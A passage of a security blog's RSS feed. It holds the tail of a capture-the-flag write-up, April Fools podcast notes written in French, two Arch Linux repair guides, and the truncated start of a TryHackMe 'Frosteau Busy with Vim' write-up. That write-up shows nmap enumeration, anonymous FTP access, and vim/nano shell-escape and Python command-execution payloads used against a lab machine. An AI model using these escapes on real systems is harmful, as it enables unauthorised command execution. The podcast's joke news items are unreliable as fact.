class="line"><span>lrwxrwxrwx   1 root root    7 Oct 26  2020 lib -> usr/lib</span></span><span class="line"><span>lrwxrwxrwx   1 root root    9 Oct 26  2020 lib32 -> usr/lib32</span></span><span class="line"><span>lrwxrwxrwx   1 root root    9 Oct 26  2020 lib64 -> usr/lib64</span></span><span class="line"><span>lrwxrwxrwx   1 root root   10 Oct 26  2020 libx32 -> usr/libx32</span></span><span class="line"><span>drwx------   2 root root  16K Oct 26  2020 lost+found</span></span><span class="line"><span>drwxr-xr-x   2 root root 4.0K Oct 26  2020 media</span></span><span class="line"><span>drwxr-xr-x   2 root root 4.0K Oct 26  2020 mnt</span></span><span class="line"><span>drwxr-xr-x   3 root root 4.0K May  7 20:08 opt</span></span><span class="line"><span>dr-xr-xr-x 122 root root    0 Jul 19 08:13 proc</span></span><span class="line"><span>drwx------   4 root root 4.0K May  8 12:22 root</span></span><span class="line"><span>drwxr-xr-x  28 root root  980 Jul 19 09:41 run</span></span><span class="line"><span>lrwxrwxrwx   1 root root    8 Oct 26  2020 sbin -> usr/sbin</span></span><span class="line"><span>drwxr-xr-x   8 root root 4.0K May  8 05:53 snap</span></span><span class="line"><span>drwxr-xr-x   2 root root 4.0K Oct 26  2020 srv</span></span><span class="line"><span>dr-xr-xr-x  13 root root    0 Jul 19 08:13 sys</span></span><span class="line"><span>drwxrwxrwt  11 root root 4.0K Jul 19 10:22 tmp</span></span><span class="line"><span>drwxr-xr-x  14 root root 4.0K Oct 26  2020 usr</span></span><span class="line"><span>drwxr-xr-x  13 root root 4.0K Oct 26  2020 var</span></span></code></pre></div></div></figure><p>We can grab <strong>Flag 4</strong>:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>root@567fe47abc33:/# cat /flag.txt</span></span><span class="line"><span>THM{…}</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Service Hacktion - Notes attachées au balado S01E10 - Revue d'actualité n°2, spéciale 1er avril</title>
      <link>https://blog.raw.pm/fr/Service-Hacktion-S01E10-revue-actu-2/</link>
      <description>
        <![CDATA[<table>
<thead>
<tr>
<th>Saison</th>
<th>Épisode</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>10</td>
</tr>
</tbody>
</table>
<iframe tit]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/tags/podcast/">podcast</category>
      <category domain="https://blog.raw.pm/tags/balado/">balado</category>
      <pubDate>Mon, 01 Apr 2024 19:50:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<table><thead><tr><th>Saison</th><th>Épisode</th></tr></thead><tbody><tr><td>1</td><td>10</td></tr></tbody></table><iframe title="Spotify Embed: Service Hacktion" style="border-radius: 12px" width="624" height="351" frameborder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture" loading="lazy" src="https://open.spotify.com/embed/show/2cvqgxJWv3mrwIWvR39Kyk/video?utm_source=oembed"></iframe><ul><li><a href="https://open.spotify.com/episode/0o16m8WtSB2Km9wqrpFq98">Spotify</a></li><li><a href="https://www.deezer.com/fr/episode/621252261">Deezer</a></li><li><a href="https://youtu.be/DbSx6woFGGk">Youtube</a></li><li><a href="https://music.youtube.com/podcast/DbSx6woFGGk">Youtube Music</a></li><li><a href="https://music.amazon.fr/podcasts/985ea8b9-30bf-4145-a08a-1ecdc021f695/episodes/e8bb7efd-e27c-4608-a955-ed4693d88673/service-hacktion-s01e10---revue-d'actualit%C3%A9-n%C2%B02-sp%C3%A9ciale-1er-avril">Amazon Music</a></li><li><a href="https://podcasts.google.com/feed/aHR0cHM6Ly9hbmNob3IuZm0vcy9lZjcwNWIzMC9wb2RjYXN0L3Jzcw/episode/NWViZTcyZmMtNzdhNy00MWUwLWE4NTEtZGRjODE3MmQzM2Fj?sa=X&amp;ved=0CAUQkfYCahcKEwjQosLByqGFAxUAAAAAHQAAAAAQAQ">Google Podcast</a></li><li><a href="https://podcasts.apple.com/us/podcast/s01e10-revue-dactualit%C3%A9-n-2-sp%C3%A9ciale-1er-avril/id1725734663?i=1000651099978">Apple Podcast</a></li><li><a href="https://podcastindex.org/podcast/6727486?episode=20841262965">Podcast Index</a></li><li><a href="https://podcloud.fr/podcast/service-hacktion/episode/s01e10-revue-dactualite-n-degres-2-speciale-1er-avril">podCloud</a></li><li><a href="https://www.podchaser.com/podcasts/service-hacktion-5564666/episodes/s01e10-revue-dactualite-n2-spe-205280590">Podchaser</a></li><li><a href="https://podtail.com/podcast/service-hacktion/s01e10-revue-d-actualite-n-2-speciale-1er-avril/">podtail</a></li><li><a href="https://podcasts-francais.fr/podcast/service-hacktion/s01e10-revue-d-actualite-n-2-speciale-1er-avril">Podcasts Français</a></li><li><a href="https://www.vodio.fr/vodiotheque/i/rss-959-5ebe72fc-77a7-41e0-a851-ddc8172d33ac/s01e10-revue-d-actualite-n-2-speciale-1er-avril/">Vodio</a></li><li><a href="https://www.spreaker.com/episode/s01e10-revue-d-actualite-n-2-speciale-1er-avril--59251870">Spreaker</a></li></ul><h2 id="Notes">Notes<a class="header-anchor" href="#Notes">#</a></h2><ol><li><strong>Bug Booty</strong></li></ol><ul><li>HackerOne lance un partenariat avec OnlyFans</li><li>De nouveaux programmes où les bogues seront payés non plus en argent, mais en &quot;nudes&quot;</li><li>Ces programmes seront appelés Bug Booty</li></ul><ol start="2"><li><strong>xz</strong></li></ol><ul><li>Un étudiant à l'origine de la porte dérobée xz</li><li>Il aurait voulu déployer un rançongiciel pour se payer des &quot;skins&quot; fortnite</li></ul><ol start="3"><li><strong>BreizhCTF</strong></li></ol><ul><li>Cette année les &quot;rumps&quot; du BreizhCTF seront obligatoirement en breton</li></ul><ol start="4"><li><strong>STHACK</strong></li></ol><ul><li>Sthack annulé</li><li>Un membre du staff assassiné pour avoir commandé des pains au chocolat pour le petit déjeuner après le CTF au lieu de chocolatines</li></ul><ol start="5"><li><strong>Debian</strong></li></ol><ul><li>Debian fait partenariat avec ArchLinux</li><li>Pour préparer Debian 14 (&quot;stones&quot;) qui passera en &quot;rolling release cutting edge&quot;</li></ul><ol start="6"><li><strong>Linux</strong></li></ol><ul><li>Le code du noyau Linux deviendra privé</li><li>Cela fait échos aux récents évènements de porte dérobée dans les sources de xz et nft</li></ul><ol start="7"><li><strong>NetExec</strong></li></ol><ul><li>NetExec supprime le support de Microsoft Active Directory pour se concentrer sur une autre implémentation LDAP : NetIQ eDirectory</li></ul><ol start="8"><li><code>Q2V0IMOpcGlzb2RlIGVzdCBiaWVuIHPDu3IgdW4gcG9pc3NvbiBkJ0F2cmlsCg==</code></li></ol><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>ArchLinux - Save face (and your system)</title>
      <link>https://blog.raw.pm/en/archlinux-system-rescue/</link>
      <description>
        <![CDATA[<p>Whatever boot issue you're facing or system breakage you encounter, that would be neat to be able to fix you system rather than reinstall]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/linux/">linux</category>
      <category domain="https://blog.raw.pm/categories/linux/archlinux/">archlinux</category>
      <category domain="https://blog.raw.pm/tags/linux/">linux</category>
      <category domain="https://blog.raw.pm/tags/archlinux/">archlinux</category>
      <pubDate>Thu, 14 Mar 2024 22:52:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>Whatever boot issue you're facing or system breakage you encounter, that would be neat to be able to fix you system rather than reinstalling it, isn't it?</p><p>I'll give you a few hints to do that, especially if you have a <a href="https://blog.raw.pm/en/unusual-archlinux-installation/">setup similar to mine</a>.</p><p>I hope you have an AL <a href="https://wiki.archlinux.org/title/USB_flash_installation_medium">USB key</a> ready to go.</p><p>Unless you have an English qwerty keyboard, don't forget to change your keyboard layout for a good start.</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">loadkeys</span><span style="color:#98C379"> fr</span></span></code></pre></div></div></figure><p>You can use <code>lsblk -f</code> to identify your ESP and your root partition.</p><p>In case of an encrypted partition, unlock it (eg. LVM on LUKS).</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">cryptsetup</span><span style="color:#98C379"> open</span><span style="color:#98C379"> /dev/sdc2</span><span style="color:#98C379"> cryptlvm</span></span></code></pre></div></div></figure><p>Mount the root partition then the ESP (and swap if you have one).</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">mount</span><span style="color:#98C379"> /dev/myvg2/root</span><span style="color:#98C379"> /mnt</span></span><span class="line"><span style="color:#61AFEF">swapon</span><span style="color:#98C379"> /dev/myvg2/swap</span></span><span class="line"><span style="color:#61AFEF">mount</span><span style="color:#98C379"> /dev/sdc1</span><span style="color:#98C379"> /mnt/efi</span></span></code></pre></div></div></figure><p>Let's change root into the system to be saved:</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">arch-chroot</span><span style="color:#98C379"> /mnt</span></span></code></pre></div></div></figure><p>That may not be a bad idea to drop privileges to normal user to prevent accidents. <em>With great power comes great responsibility</em>.</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">su</span><span style="color:#98C379"> noraj</span></span></code></pre></div></div></figure><p>If planning to fix boot images and having a bind mount, one doesn't want to forget to mount it before generating initramfs images or something.</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> mount</span><span style="color:#D19A66"> --bind</span><span style="color:#98C379"> /efi/EFI/arch</span><span style="color:#98C379"> /boot</span></span></code></pre></div></div></figure><p>Finally, please try anything in your power to save that poor system.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>ArchLinux - mkinitcpio v38 upgrade</title>
      <link>https://blog.raw.pm/en/archlinux-mkinitcpio-v38-upgrade/</link>
      <description>
        <![CDATA[<p>With the release of mkinitcpio v38, <a href="https://archlinux.org/news/mkinitcpio-hook-migration-and-early-microcode/">mkinitcpio hook m]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/linux/">linux</category>
      <category domain="https://blog.raw.pm/categories/linux/archlinux/">archlinux</category>
      <category domain="https://blog.raw.pm/tags/linux/">linux</category>
      <category domain="https://blog.raw.pm/tags/archlinux/">archlinux</category>
      <pubDate>Thu, 14 Mar 2024 22:21:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>With the release of mkinitcpio v38, <a href="https://archlinux.org/news/mkinitcpio-hook-migration-and-early-microcode/">mkinitcpio hook migration and early microcode</a> has been announced (04/03/2024). But how to migrate?</p><p>For <a href="https://blog.raw.pm/en/unusual-archlinux-installation/">a setup similar to mine</a>, the steps are as follows.</p><p>Note: If it's already too late, and you can't boot anymore (blocked by a kernel panic), then <a href="https://blog.raw.pm/en/archlinux-system-rescue">this article</a> will help you boot from an AL USB key and rescue your system.</p><p>First, upgrade the system. (it may fail at mkinitcpio stage, but we'll fix that)</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">pacman</span><span style="color:#D19A66"> -Syu</span></span></code></pre></div></div></figure><p>Then, remove all kernel mkinitcpio presets because they contain old directives that will make mkinitcpio fail when trying to build initramfs.</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">rm</span><span style="color:#98C379"> /etc/mkinitcpio.d/linux</span><span style="color:#E5C07B">*</span><span style="color:#98C379">.preset</span></span></code></pre></div></div></figure><p>Then in order to re-generate new presets, we'll have to re-install kernel packages in order to trigger the pacman post-transaction hook that generates them.</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> linux</span><span style="color:#98C379"> linux-lts</span><span style="color:#98C379"> linux-zen</span></span></code></pre></div></div></figure><p>Now let's edit mkinitcpio configuration (<code>/etc/mkinitcpio.conf</code> or a drop-in <code>/etc/mkinitcpio.conf.d/hooks.conf</code>) to add the new <code>microcode</code> hook:</p><figure class="shiki diff"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">-HOOKS=(base udev autodetect modconf kms keyboard keymap consolefont block encrypt lvm2 resume filesystems fsck)</span></span><span class="line"><span style="color:#98C379">+HOOKS=(base udev autodetect microcode modconf kms keyboard keymap consolefont block encrypt lvm2 resume filesystems fsck)</span></span></code></pre></div></div></figure><p>Now we can edit the bootloader configuration, e.g. for rEFInd <code>/efi/EFI/arch/refind_linux.conf</code>, and remove the microcode <code>initrd</code> that is no longer required as it's now packed together with the main initramfs image:</p><figure class="shiki diff"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">-"Boot with default options"  "cryptdevice=UUID=2fe657fa-3e5d-46db-9f2e-54529f96150e:cryptlvm initrd=\EFI\arch\amd-ucode.img root=/dev/myvg2/root rw initrd=\EFI\arch\initramfs-%v.img resume=/dev/myvg2/swap"</span></span><span class="line"><span style="color:#98C379">+"Boot with default options"  "cryptdevice=UUID=2fe657fa-3e5d-46db-9f2e-54529f96150e:cryptlvm root=/dev/myvg2/root rw initrd=\EFI\arch\initramfs-%v.img resume=/dev/myvg2/swap"</span></span></code></pre></div></div></figure><p>Finally, we can rebuild all initramfs images at once:</p><figure class="shiki zsh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">mkinitcpio</span><span style="color:#D19A66"> -P</span></span></code></pre></div></div></figure><p>Reboot. You should have survived the <a href="https://lists.archlinux.org/hyperkitty/list/arch-projects@lists.archlinux.org/thread/PZHWLVJLN5EPW6EVK2HEKVBDBNZWHREN/">mkinitcpio v38 released</a>.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Frosteau Busy with Vim - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Frosteau-Busy-with-Vim-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Frosteau Busy with V]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/linux/">linux</category>
      <category domain="https://blog.raw.pm/tags/ssh/">ssh</category>
      <category domain="https://blog.raw.pm/tags/python/">python</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/ftp/">ftp</category>
      <category domain="https://blog.raw.pm/tags/docker/">docker</category>
      <category domain="https://blog.raw.pm/tags/bypass/">bypass</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/shell/">shell</category>
      <category domain="https://blog.raw.pm/tags/telnet/">telnet</category>
      <category domain="https://blog.raw.pm/tags/escape/">escape</category>
      <category domain="https://blog.raw.pm/tags/busybox/">busybox</category>
      <category domain="https://blog.raw.pm/tags/vim/">vim</category>
      <pubDate>Thu, 07 Mar 2024 22:08:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Frosteau Busy with Vim</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/busyvimfrosteau">tryhackme.com</a></li><li><strong>Difficulty:</strong> Insane</li><li><strong>Description</strong>: Stay frosty!</li></ul><p><img src="/images/TryHackMe/busyvimfrosteau.png" alt="Frosteau Busy with Vim"></p><p>This is the <strong>Side Quest Challenge 3</strong> of <a href="https://tryhackme.com/room/adventofcyber23sidequest">Advent of Cyber '23 Side Quest</a> (advanced bonus challenges alongside <a href="https://tryhackme.com/room/adventofcyber2023">Advent of Cyber 2023</a>).</p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on BlackArch Linux:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>$ sudo pacman -S nmap gtfoblookup</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart1043" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart1043').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        3,        1,        1,        4,        5,        2      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Challenge">Challenge<a class="header-anchor" href="#Challenge">#</a></h2><h2 id="Network-enumeration">Network enumeration<a class="header-anchor" href="#Network-enumeration">#</a></h2><p>Port and service enumeration with <code>nmap</code>:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Nmap 7.94 scan initiated Tue Mar  5 21:37:28 2024 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap 10.10.40.126</span></span><span class="line"><span>Nmap scan report for 10.10.40.126</span></span><span class="line"><span>Host is up, received reset ttl 63 (0.068s latency).</span></span><span class="line"><span>Not shown: 65402 closed tcp ports (reset), 127 filtered tcp ports (no-response)</span></span><span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span><span class="line"><span>PORT     STATE SERVICE REASON         VERSION</span></span><span class="line"><span>22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   3072 54:94:d2:35:84:35:30:ef:44:0d:50:07:26:61:98:7e (RSA)</span></span><span class="line"><span>|   256 df:e1:85:f4:49:de:bd:ea:ec:65:35:da:c6:9a:e0:11 (ECDSA)</span></span><span class="line"><span>|_  256 9e:5c:44:f9:7f:02:34:8b:d1:42:40:e7:29:b1:21:06 (ED25519)</span></span><span class="line"><span>80/tcp   open  http    syn-ack ttl 63 WebSockify Python/3.8.10</span></span><span class="line"><span>|_http-title: Error response</span></span><span class="line"><span>|_http-server-header: WebSockify Python/3.8.10</span></span><span class="line"><span>…</span></span><span class="line"><span>8065/tcp open  telnet  syn-ack ttl 62</span></span><span class="line"><span>| fingerprint-strings:</span></span><span class="line"><span>|   GenericLines, GetRequest, NCP, NULL, RPCCheck, SIPOptions, tn3270:</span></span><span class="line"><span>|     Ubuntu 22.04.3 LTS</span></span><span class="line"><span>|   Help:</span></span><span class="line"><span>|     Ubuntu 22.04.3 LTS</span></span><span class="line"><span>|_    HELP</span></span><span class="line"><span>8075/tcp open  ftp     syn-ack ttl 62 BusyBox ftpd (D-Link DCS-932L IP-Cam camera)</span></span><span class="line"><span>| ftp-syst:</span></span><span class="line"><span>|   STAT:</span></span><span class="line"><span>| Server status:</span></span><span class="line"><span>|  TYPE: BINARY</span></span><span class="line"><span>|_Ok</span></span><span class="line"><span>| ftp-anon: Anonymous FTP login allowed (FTP code 230)</span></span><span class="line"><span>|_Can't get directory listing: PASV IP 172.18.0.2 is not the same as 10.10.40.126</span></span><span class="line"><span>|_ftp-bounce: bounce working!</span></span><span class="line"><span>8085/tcp open  telnet  syn-ack ttl 62</span></span><span class="line"><span>…</span></span><span class="line"><span>8095/tcp open  telnet  syn-ack ttl 62</span></span><span class="line"><span>…</span></span><span class="line"><span>Service Info: OS: Linux; Device: webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/h:dlink:dcs-932l</span></span><span class="line"><span></span></span><span class="line"><span>Read data files from: /usr/bin/../share/nmap</span></span><span class="line"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span><span class="line"><span># Nmap done at Tue Mar  5 21:40:08 2024 -- 1 IP address (1 host up) scanned in 160.16 seconds</span></span></code></pre></div></div></figure><p>Seems that we have a web server, a SSH server, a FTP server and three telnet services.</p><h2 id="Web-enumeration">Web enumeration<a class="header-anchor" href="#Web-enumeration">#</a></h2><p>We get a 405 error code (<code>Method Not Allowed.</code>), also it seems it's a web socket. So let's try another service for now.</p><h2 id="FTP-enumeration">FTP enumeration<a class="header-anchor" href="#FTP-enumeration">#</a></h2><p>Anonymous connection is allowed.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ftp 10.10.40.126 8075</span></span><span class="line"><span>Connected to 10.10.40.126.</span></span><span class="line"><span>220 Operation successful</span></span><span class="line"><span>Name (10.10.40.126:noraj): anonymous</span></span><span class="line"><span>230 Operation successful</span></span><span class="line"><span>Remote system type is UNIX.</span></span><span class="line"><span>Using binary mode to transfer files.</span></span></code></pre></div></div></figure><p>A bunch of files are available:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>ftp> ls</span></span><span class="line"><span>200 Operation successful</span></span><span class="line"><span>150 Directory listing</span></span><span class="line"><span>total 8132</span></span><span class="line"><span>-rw-r--r--    1 0        0             3010 Nov  5 18:49 FROST-2247-SP.txt</span></span><span class="line"><span>-rw-r--r--    1 0        0             3211 Nov  5 18:50 YETI-1125-SP.txt</span></span><span class="line"><span>-rw-r--r--    1 0        0               24 Nov  5 19:06 flag-1-of-4.txt</span></span><span class="line"><span>-rw-r--r--    1 0        0               12 Nov  5 19:07 flag-2-of-4.sh</span></span><span class="line"><span>-rw-r--r--    1 0        0          2127524 Nov  5 18:54 frostling_base.png</span></span><span class="line"><span>-rw-r--r--    1 0        0          2305908 Nov  5 18:54 frostling_five.png</span></span><span class="line"><span>-rw-r--r--    1 0        0          1589463 Nov  5 18:54 yeti_footage.png</span></span><span class="line"><span>-rw-r--r--    1 0        0          2277409 Nov  5 18:54 yeti_mugshot.png</span></span><span class="line"><span>226 Operation successful</span></span></code></pre></div></div></figure><p>Retrieve every file with the <code>get</code> FTP command.</p><p>The first flag is contained in <code>flag-1-of-4.txt</code>.</p><p><code>flag-2-of-4.sh</code> just contains the follwing line:</p><figure class="shiki shell"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">echo</span><span style="color:#E06C75"> $FLAG2</span></span></code></pre></div></div></figure><p>So we know the second flag will be in an environment variabled named <code>FLAG2</code>.</p><p><code>FROST-2247-SP.txt</code> contains information about <em>The Frostling Five</em>, maybe this will prove being useful later.</p><p><code>YETI-1125-SP.txt</code> is similar but about <em>Bandit Yeti, Snowbyte Hacker, Frosty Fingers</em>.</p><p>The images don't seem useful for now, unless there is some stego required.</p><h2 id="Telnet-interaction-shell-escape">Telnet interaction &amp; shell escape<a class="header-anchor" href="#Telnet-interaction-shell-escape">#</a></h2><p>On port 8065, the connection seems to close pretty quick.</p><p>On port, <code>8085</code> we are in vim and on port <code>8095</code> we are in nano. So it's looks like we have to escape to the shell (<em>shell escape</em>, see <a href="https://www.root-me.org/fr/Challenges/App-Script/Bash-Shells-restreints">this challenge on ROOT-ME</a>).</p><p>If you don't know the tricks by heart, you can refresh your memories with <code>gtfoblookup</code>:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ gtfoblookup gtfobins search -c shell vim</span></span><span class="line"><span>vim:</span></span><span class="line"><span></span></span><span class="line"><span>    shell:</span></span><span class="line"><span></span></span><span class="line"><span>        Code: vim -c ':!/bin/sh'</span></span><span class="line"><span></span></span><span class="line"><span>        Code: vim --cmd ':set shell=/bin/sh|:shell'</span></span><span class="line"><span></span></span><span class="line"><span>        Description: This requires that `vim` is compiled with Python</span></span><span class="line"><span>                     support. Prepend `:py3` for Python 3.</span></span><span class="line"><span>        Code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c",</span></span><span class="line"><span>              "reset; exec sh")'</span></span><span class="line"><span></span></span><span class="line"><span>        Description: This requires that `vim` is compiled with Lua</span></span><span class="line"><span>                     support.</span></span><span class="line"><span>        Code: vim -c ':lua os.execute("reset; exec sh")'</span></span></code></pre></div></div></figure><p>With <code>:!/bin/bash</code>, we have this error: <code>Cannot execute shell /tmp/sh</code>. But in fact, whatever is the command we want to execute we have the same error.</p><p><code>:echo $FLAG2</code> displays the 2nd flag.</p><p>Let's see if we have more chance with <code>nano</code>:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ gtfoblookup gtfobins search -c shell nano</span></span><span class="line"><span>nano:</span></span><span class="line"><span></span></span><span class="line"><span>    shell:</span></span><span class="line"><span></span></span><span class="line"><span>        Code: nano</span></span><span class="line"><span>              ^R^X</span></span><span class="line"><span>              reset; sh 1>&#x26;0 2>&#x26;0</span></span><span class="line"><span></span></span><span class="line"><span>        Description: The `SPELL` environment variable can be used in</span></span><span class="line"><span>                     place of the `-s` option if the command line cannot be</span></span><span class="line"><span>                     changed.</span></span><span class="line"><span>        Code: nano -s /bin/sh</span></span><span class="line"><span>              /bin/sh</span></span><span class="line"><span>              ^T</span></span></code></pre></div></div></figure><p>Seems that the classic technic doesn't work here.</p><p>Let's get back to vim, <code>:py</code> doesn't work but <code>:py3</code> does!</p><p>A simple <code>os.system</code> isn't very useful as the output is not returned as a string. The two following commands either as they try to open a shell with <code>/bin/sh</code>. The same apply for all reverse shell techniques as we can't use a shell.</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">:py3 </span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os; os.</span><span style="color:#61AFEF">popen</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'id'</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">()</span></span><span class="line"><span style="color:#ABB2BF">:py3 </span><span style="color:#C678DD">from</span><span style="color:#ABB2BF"> subprocess </span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> Popen, </span><span style="color:#D19A66">PIPE</span><span style="color:#ABB2BF">; </span><span style="color:#56B6C2">print</span><span style="color:#ABB2BF">(</span><span style="color:#61AFEF">Popen</span><span style="color:#ABB2BF">([</span><span style="color:#98C379">"/bin/ls"</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">"-a"</span><span style="color:#ABB2BF">],</span><span style="color:#E06C75;font-style:italic">stdout</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">PIPE</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">communicate</span><span style="color:#ABB2BF">());</span></span></code></pre></div></div></figure><p>So rather than trying harder, we can trying smarter. <code>os.system</code> doesn't use a shell so let's redirect the output to a file then read that file…</p><figure class="shiki python"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#ABB2BF">:py3 </span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os; os.</span><span style="color:#61AFEF">system</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"id > /tmp/noraj.log"</span><span style="color:#ABB2BF">); </span><span style="color:#56B6C2">print</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">open</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/tmp/noraj.log"</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">())</span></span><span class="line"><span style="color:#ABB2BF">:py3 </span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os; os.</span><span style="color:#61AFEF">system</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"id | tee /tmp/noraj.log"</span><span style="color:#ABB2BF">); </span><span style="color:#56B6C2">print</span><span style="color:#ABB2BF">(</span><span style="color:#56B6C2">open</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/dev/shm/noraj.log"</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">read</span><span style="color:#ABB2BF">())</span></span><span class="line"><span style="color:#ABB2BF">:py3 </span><span style="color:#C678DD">import</span><span style="color:#ABB2BF"> os; os.</span><span style="color:#61AFEF">system</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"script -c id -f /dev/shm/noraj.log"</span><span 